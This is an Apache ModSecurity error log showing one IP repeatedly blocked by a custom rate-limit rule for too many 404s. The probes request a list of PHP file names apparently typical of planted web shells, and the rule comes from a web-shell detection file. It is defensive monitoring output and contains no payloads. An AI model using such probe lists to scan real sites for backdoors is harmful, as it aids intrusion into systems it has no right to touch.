[Sun Mar 01 13:28:44.405783 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:43648] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "aaPOjPKRPk6YnJBxw_zuzAAAANI"]
[Sun Mar 01 13:28:44.897156 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:15445] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "aaPOjPKRPk6YnJBxw_zuzwAAAME"]
[Sun Mar 01 13:28:45.377903 2026] [:error] [pid 41780:tid 41807] [client 158.158.52.178:37679] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "aaPOjcONkVoocLIqzy39uwAAA9g"]
[Sun Mar 01 13:28:45.853645 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:4217] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e.php"] [unique_id "aaPOjfKRPk6YnJBxw_zu1QAAANI"]
[Sun Mar 01 13:28:46.329976 2026] [:error] [pid 41342:tid 41348] [client 158.158.52.178:24043] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e.php"] [unique_id "aaPOjo4iJ6RAS5CatDk6GgAAAgM"]
[Sun Mar 01 13:28:46.807126 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:36346] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e.php"] [unique_id "aaPOjgfBuk03yQKDyqvAKwAAAcw"]
[Sun Mar 01 13:28:47.287710 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:24041] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/e.php"] [unique_id "aaPOj_KRPk6YnJBxw_zu2gAAAM4"]
[Sun Mar 01 13:28:47.764366 2026] [:error] [pid 42619:tid 42629] [client 158.158.52.178:43692] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaPOjx_zUXcYaZE4AOdbtwAAAUg"]
[Sun Mar 01 13:28:48.239405 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:37640] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaPOkPKRPk6YnJBxw_zu4gAAAMk"]
[Sun Mar 01 13:28:48.728770 2026] [:error] [pid 42619:tid 42624] [client 158.158.52.178:18006] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaPOkB_zUXcYaZE4AOdbuwAAAUM"]
[Sun Mar 01 13:28:49.225519 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:36300] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaPOkcONkVoocLIqzy39xgAAA84"]
[Sun Mar 01 13:28:49.703057 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:24009] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaPOkcONkVoocLIqzy39ywAAA8o"]
[Sun Mar 01 13:28:50.193004 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:4191] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaPOkvKRPk6YnJBxw_zu6AAAAME"]
[Sun Mar 01 13:28:50.671070 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:18002] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaPOksONkVoocLIqzy39zQAAA8A"]
[Sun Mar 01 13:28:51.173456 2026] [:error] [pid 41967:tid 41969] [client 158.158.52.178:37675] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaPOk4O1bqY181I02eFsHAAAAIA"]
[Sun Mar 01 13:28:51.658591 2026] [:error] [pid 41967:tid 41970] [client 158.158.52.178:18963] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaPOk4O1bqY181I02eFsIwAAAIE"]
[Sun Mar 01 13:28:52.136522 2026] [:error] [pid 41967:tid 41982] [client 158.158.52.178:29225] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaPOlIO1bqY181I02eFsJwAAAI0"]
[Sun Mar 01 13:28:52.614485 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:4200] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaPOlPKRPk6YnJBxw_zu8AAAAME"]
[Sun Mar 01 13:28:53.094635 2026] [:error] [pid 41967:tid 41985] [client 158.158.52.178:20568] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaPOlYO1bqY181I02eFsLQAAAJA"]
[Sun Mar 01 13:28:53.591842 2026] [:error] [pid 41967:tid 41984] [client 158.158.52.178:32240] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/get.php"] [unique_id "aaPOlYO1bqY181I02eFsMQAAAI8"]
[Sun Mar 01 13:28:54.080171 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:32197] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/get.php"] [unique_id "aaPOlsONkVoocLIqzy392QAAA8w"]
[Sun Mar 01 13:28:54.566174 2026] [:error] [pid 41967:tid 41993] [client 158.158.52.178:21385] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/get.php"] [unique_id "aaPOloO1bqY181I02eFsOgAAAJg"]
[Sun Mar 01 13:28:55.042887 2026] [:error] [pid 42619:tid 42634] [client 158.158.52.178:24054] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/get.php"] [unique_id "aaPOlx_zUXcYaZE4AOdb1wAAAU0"]
[Sun Mar 01 13:28:55.520060 2026] [:error] [pid 40750:tid 40755] [client 158.158.52.178:34529] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOlwfBuk03yQKDyqvANgAAAcI"]
[Sun Mar 01 13:28:55.998156 2026] [:error] [pid 41967:tid 41991] [client 158.158.52.178:28929] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOl4O1bqY181I02eFsQQAAAJY"]
[Sun Mar 01 13:28:56.475523 2026] [:error] [pid 41342:tid 41362] [client 158.158.52.178:24013] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOmI4iJ6RAS5CatDk6LwAAAhE"]
[Sun Mar 01 13:28:56.953146 2026] [:error] [pid 42619:tid 42630] [client 158.158.52.178:20574] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOmB_zUXcYaZE4AOdb2gAAAUk"]
[Sun Mar 01 13:28:57.466823 2026] [:error] [pid 41967:tid 41980] [client 158.158.52.178:34511] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOmYO1bqY181I02eFsSQAAAIs"]
[Sun Mar 01 13:28:57.964077 2026] [:error] [pid 41780:tid 41784] [client 158.158.52.178:28947] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOmcONkVoocLIqzy397wAAA8E"]
[Sun Mar 01 13:28:58.445412 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:37678] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOmoO1bqY181I02eFsTwAAAJc"]
[Sun Mar 01 13:28:58.949652 2026] [:error] [pid 42619:tid 42629] [client 158.158.52.178:15424] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaPOmh_zUXcYaZE4AOdb4AAAAUg"]
[Sun Mar 01 13:28:59.426548 2026] [:error] [pid 42619:tid 42643] [client 158.158.52.178:37661] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaPOmx_zUXcYaZE4AOdb4gAAAVY"]
[Sun Mar 01 13:28:59.910022 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:15434] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaPOmwfBuk03yQKDyqvAPwAAAcw"]
[Sun Mar 01 13:29:00.407890 2026] [:error] [pid 41967:tid 41983] [client 158.158.52.178:32035] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaPOnIO1bqY181I02eFsZgAAAI4"]
[Sun Mar 01 13:29:00.890213 2026] [:error] [pid 41780:tid 41798] [client 158.158.52.178:28982] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaPOnMONkVoocLIqzy39-gAAA88"]
[Sun Mar 01 13:29:01.370998 2026] [:error] [pid 41780:tid 41787] [client 158.158.52.178:19799] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/raw.php"] [unique_id "aaPOncONkVoocLIqzy39_AAAA8Q"]
[Sun Mar 01 13:29:01.861628 2026] [:error] [pid 41967:tid 41990] [client 158.158.52.178:32891] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/raw.php"] [unique_id "aaPOnYO1bqY181I02eFsbwAAAJU"]
[Sun Mar 01 13:29:02.384216 2026] [:error] [pid 41780:tid 41796] [client 158.158.52.178:18996] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/raw.php"] [unique_id "aaPOnsONkVoocLIqzy3-BQAAA80"]
[Sun Mar 01 13:29:02.873500 2026] [:error] [pid 42619:tid 42638] [client 158.158.52.178:21387] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/raw.php"] [unique_id "aaPOnh_zUXcYaZE4AOdb6AAAAVE"]
[Sun Mar 01 13:29:03.476703 2026] [:error] [pid 41967:tid 41969] [client 158.158.52.178:32839] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aaPOn4O1bqY181I02eFsdgAAAIA"]
[Sun Mar 01 13:29:03.979068 2026] [:error] [pid 42619:tid 42644] [client 158.158.52.178:20554] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aaPOnx_zUXcYaZE4AOdb8AAAAVc"]
[Sun Mar 01 13:29:04.534234 2026] [:error] [pid 42619:tid 42623] [client 158.158.52.178:32003] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aaPOoB_zUXcYaZE4AOdb-AAAAUI"]
[Sun Mar 01 13:29:05.021573 2026] [:error] [pid 42619:tid 42642] [client 158.158.52.178:34508] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "aaPOoR_zUXcYaZE4AOdb_gAAAVU"]
[Sun Mar 01 13:29:05.550508 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:21412] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaPOofKRPk6YnJBxw_zvEgAAAM4"]
[Sun Mar 01 13:29:06.026333 2026] [:error] [pid 42619:tid 42645] [client 158.158.52.178:32870] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaPOoh_zUXcYaZE4AOdcBQAAAVg"]
[Sun Mar 01 13:29:06.508108 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:32043] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaPOovKRPk6YnJBxw_zvFgAAAMk"]
[Sun Mar 01 13:29:07.004070 2026] [:error] [pid 41967:tid 41982] [client 158.158.52.178:43465] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaPOo4O1bqY181I02eFshAAAAI0"]
[Sun Mar 01 13:29:07.573911 2026] [:error] [pid 42619:tid 42644] [client 158.158.52.178:24435] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaPOox_zUXcYaZE4AOdcEAAAAVc"]
[Sun Mar 01 13:29:08.057503 2026] [:error] [pid 41342:tid 41348] [client 158.158.52.178:20555] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaPOpI4iJ6RAS5CatDk6RwAAAgM"]
[Sun Mar 01 13:29:08.563501 2026] [:error] [pid 41967:tid 41993] [client 158.158.52.178:28964] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaPOpIO1bqY181I02eFsigAAAJg"]
[Sun Mar 01 13:29:09.060650 2026] [:error] [pid 42619:tid 42626] [client 158.158.52.178:43496] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaPOpR_zUXcYaZE4AOdcHAAAAUU"]
[Sun Mar 01 13:29:09.606491 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:28967] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaPOpfKRPk6YnJBxw_zvIAAAAMk"]
[Sun Mar 01 13:29:10.117243 2026] [:error] [pid 42619:tid 42642] [client 158.158.52.178:36338] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaPOph_zUXcYaZE4AOdcJgAAAVU"]
[Sun Mar 01 13:29:10.606612 2026] [:error] [pid 40750:tid 40763] [client 158.158.52.178:24385] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaPOpgfBuk03yQKDyqvARwAAAco"]
[Sun Mar 01 13:29:11.131918 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:38959] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/erty.php"] [unique_id "aaPOp_KRPk6YnJBxw_zvJQAAAMk"]
[Sun Mar 01 13:29:11.637427 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:39160] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0.php"] [unique_id "aaPOp_KRPk6YnJBxw_zvKgAAAMk"]
